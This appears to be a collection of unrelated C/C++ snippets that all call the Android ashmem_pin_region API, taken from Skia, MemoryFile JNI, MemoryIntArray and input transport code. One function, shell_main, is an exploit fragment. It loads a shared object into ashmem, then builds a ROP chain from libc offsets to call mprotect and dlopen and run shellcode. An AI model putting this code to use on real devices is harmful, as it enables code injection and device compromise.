bool SkImageRef_ashmem::onNewLockPixels(LockRec* rec) { SkASSERT(fBitmap.getPixels() == NULL); SkASSERT(fBitmap.getColorTable() == NULL); // fast case: check if we can just pin and get the cached data if (-1 != fRec.fFD) { SkASSERT(fRec.fAddr); SkASSERT(!fRec.fPinned); int pin = ashmem_pin_region(fRec.fFD, 0, 0); if (ASHMEM_NOT_PURGED == pin) { // yea, fast case! fBitmap.setPixels(fRec.fAddr, fCT); fRec.fPinned = true; } else if (ASHMEM_WAS_PURGED == pin) { ashmem_unpin_region(fRec.fFD, 0, 0); // let go of our colortable if we lost the pixels. Well get it back // again when we re-decode if (fCT) { fCT->unref(); fCT = NULL; } #if defined(DUMP_ASHMEM_LIFECYCLE) || defined(TRACE_ASH_PURGE) SkDebugf("===== ashmem purged %d\n", fBitmap.getSize()); #endif } else { SkDebugf("===== ashmem pin_region(%d) returned %d\n", fRec.fFD, pin); return false; } } else { // no FD, will create an ashmem region in allocator } return this->INHERITED::onNewLockPixels(rec); }
void shell_main(){ dlopen_t dlopen_f = (dlopen_t)getProcAddr(NULL,"dlopen"); dlsym_t dlsym_f = (dlsym_t)getProcAddr(NULL,"dlsym"); const char *so_name = "/data/local/tmp/testso.so"; char *code = (char*)get_so_buffer(so_name); int ashmem_len = *(int*)code; int fd_memory = ashmem_create_region("shmem", ashmem_len); ashmem_pin_region(fd_memory, 0, 0); uint8_t *shm = (uint8_t*)mmap(NULL, ashmem_len, PROT_READ | PROT_WRITE, MAP_SHARED, fd_memory, 0); printf("first map address is %p\n",shm); memcpy(shm,code,ashmem_len); free(code); //ashmem_unpin_region(fd_memory, 0, 0); int pos[32]={12,2,12,fd_memory}; //shellcode(dlopen_f,pos); uint32_t libcbase = (uint32_t)getModuleBase("libc.so"); uint32_t mprotect_address = (uint32_t)getProcAddr("libc.so","mprotect"); uint32_t len = 0; void *buffer = get_shellcode(&len); uint32_t ropData[29]={libcbase+0x15056+1,1+libcbase+0x4c8ee,0xdeaddead,0xdeaddead,(uint32_t)buffer&0xfffff000,4096,0x7,(uint32_t)mprotect_address,(uint32_t)dlopen_f,(uint32_t)pos,2,(uint32_t)buffer+1}; //uint32_t ropData[29]={libcbase+0x15056+1,1+libcbase+0x4c8ee,0xdeaddead,0xdeaddead,(uint32_t)buffer&0xfffff000,4096,0x7,(uint32_t)mprotect_address,(uint32_t)dlopen_f,1,2,(uint32_t)shellcode}; asmm_test((uint32_t)ropData); free(buffer); exit(-1); }
static void android_os_MemoryFile_pin(JNIEnv* env, jobject clazz, jobject fileDescriptor, jboolean pin) { int fd = jniGetFDFromFileDescriptor(env, fileDescriptor); int result = (pin ? ashmem_pin_region(fd, 0, 0) : ashmem_unpin_region(fd, 0, 0)); if (result < 0) { jniThrowException(env, "java/io/IOException", NULL); } }
int ashmem_write_bytes(int fd, unsigned int *address, unsigned char *buffer, int src_offset, int dest_offset, int count) { if (ashmem_pin_region(fd, 0, 0) == ASHMEM_WAS_PURGED) { printf("ashmem was purged\n"); return -1; } memcpy((unsigned char *)address + dest_offset, buffer + src_offset, count); return count; }
int ashmem_read_bytes(int fd, unsigned int *address, unsigned char *buffer, int src_offset, int dest_offset, int count) { if (ashmem_pin_region(fd, 0, 0) == ASHMEM_WAS_PURGED) { printf("ashmem was purged\n"); return -1; } printf("%s: address=0x%x, buffer=0x%x\n", __FUNCTION__, (unsigned int)address, (unsigned int)buffer); memcpy(buffer + src_offset, (unsigned char *)address + dest_offset, count); return count; }
virtual bool allocPixelRef(SkBitmap* bm, SkColorTable* ct) { const size_t size = roundToPageSize(bm->getSize()); int fd = fRec->fFD; void* addr = fRec->fAddr; SkASSERT(!fRec->fPinned); if (-1 == fd) { SkASSERT(NULL == addr); SkASSERT(0 == fRec->fSize); fd = ashmem_create_region(fName, size); #ifdef DUMP_ASHMEM_LIFECYCLE SkDebugf("=== ashmem_create_region %s size=%d fd=%d\n", fName, size, fd); #endif if (-1 == fd) { SkDebugf("------- imageref_ashmem create failed <%s> %d\n", fName, size); return false; } int err = ashmem_set_prot_region(fd, PROT_READ | PROT_WRITE); if (err) { SkDebugf("------ ashmem_set_prot_region(%d) failed %d\n", fd, err); close(fd); return false; } addr = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); if (-1 == (long)addr) { SkDebugf("---------- mmap failed for imageref_ashmem size=%d\n", size); close(fd); return false; } fRec->fFD = fd; fRec->fAddr = addr; fRec->fSize = size; } else { SkASSERT(addr); SkASSERT(size == fRec->fSize); (void)ashmem_pin_region(fd, 0, 0); } bm->setPixels(addr, ct); fRec->fPinned = true; return true; }
static void android_util_MemoryIntArray_set(JNIEnv* env, jobject clazz, jint fd, jlong address, jint index, jint newValue, jboolean owner) { if (fd < 0) { jniThrowException(env, "java/io/IOException", "bad file descriptor"); return; } if (ashmem_pin_region(fd, 0, 0) == ASHMEM_WAS_PURGED) { jniThrowException(env, "java/io/IOException", "ashmem region was purged"); return; } std::atomic_int* value = reinterpret_cast<std::atomic_int*>(address) + index; value->store(newValue, std::memory_order_relaxed); }
static jint android_os_MemoryFile_write(JNIEnv* env, jobject clazz, jobject fileDescriptor, jint address, jbyteArray buffer, jint srcOffset, jint destOffset, jint count, jboolean unpinned) { int fd = jniGetFDFromFileDescriptor(env, fileDescriptor); if (unpinned && ashmem_pin_region(fd, 0, 0) == ASHMEM_WAS_PURGED) { ashmem_unpin_region(fd, 0, 0); jniThrowException(env, "java/io/IOException", "ashmem region was purged"); return -1; } env->GetByteArrayRegion(buffer, srcOffset, count, (jbyte *)address + destOffset); if (unpinned) { ashmem_unpin_region(fd, 0, 0); } return count; }
status_t InputPublisher::publishInputEvent( int32_t type, int32_t deviceId, int32_t source) { if (mPinned) { ALOGE("channel '%s' publisher ~ Attempted to publish a new event but publisher has " "not yet been reset.", mChannel->getName().string()); return INVALID_OPERATION; } // Pin the region. // We do not check for ASHMEM_NOT_PURGED because we don't care about the previous // contents of the buffer so it does not matter whether it was purged in the meantime. int ashmemFd = mChannel->getAshmemFd(); int result = ashmem_pin_region(ashmemFd, 0, 0); if (result < 0) { ALOGE("channel '%s' publisher ~ Error %d pinning ashmem fd %d.", mChannel->getName().string(), result, ashmemFd); return UNKNOWN_ERROR; } mPinned = true; result = sem_init(& mSharedMessage->semaphore, 1, 1); if (result < 0) { ALOGE("channel '%s' publisher ~ Error %d in sem_init.", mChannel->getName().string(), errno); return UNKNOWN_ERROR; } mSemaphoreInitialized = true; mSharedMessage->consumed = false; mSharedMessage->type = type; mSharedMessage->deviceId = deviceId; mSharedMessage->source = source; return OK; }
status_t InputConsumer::consume(InputEventFactoryInterface* factory, InputEvent** outEvent) { #if DEBUG_TRANSPORT_ACTIONS ALOGD("channel '%s' consumer ~ consume", mChannel->getName().string()); #endif *outEvent = NULL; int ashmemFd = mChannel->getAshmemFd(); int result = ashmem_pin_region(ashmemFd, 0, 0); if (result != ASHMEM_NOT_PURGED) { if (result == ASHMEM_WAS_PURGED) { ALOGE("channel '%s' consumer ~ Error %d pinning ashmem fd %d because it was purged " "which probably indicates that the publisher and consumer are out of sync.", mChannel->getName().string(), result, ashmemFd); return INVALID_OPERATION; } ALOGE("channel '%s' consumer ~ Error %d pinning ashmem fd %d.", mChannel->getName().string(), result, ashmemFd); return UNKNOWN_ERROR; } if (mSharedMessage->consumed) { ALOGE("channel '%s' consumer ~ The current message has already been consumed.", mChannel->getName().string()); return INVALID_OPERATION; } // Acquire but *never release* the semaphore. Contention on the semaphore is used to signal // to the publisher that the message has been consumed (or is in the process of being // consumed). Eventually the publisher will reinitialize the semaphore for the next message. result = sem_wait(& mSharedMessage->semaphore); if (result < 0) { ALOGE("channel '%s' consumer ~ Error %d in sem_wait.", mChannel->getName().string(), errno); return UNKNOWN_ERROR; } mSharedMessage->consumed = true; switch (mSharedMessage->type) { case AINPUT_EVENT_TYPE_KEY: { KeyEvent* keyEvent = factory->createKeyEvent(); if (! keyEvent) return NO_MEMORY; populateKeyEvent(keyEvent); *outEvent = keyEvent; break; } case AINPUT_EVENT_TYPE_MOTION: { MotionEvent* motionEvent = factory->createMotionEvent(); if (! motionEvent) return NO_MEMORY; populateMotionEvent(motionEvent); *outEvent = motionEvent; break; } default: ALOGE("channel '%s' consumer ~ Received message of unknown type %d", mChannel->getName().string(), mSharedMessage->type); return UNKNOWN_ERROR; } return OK; }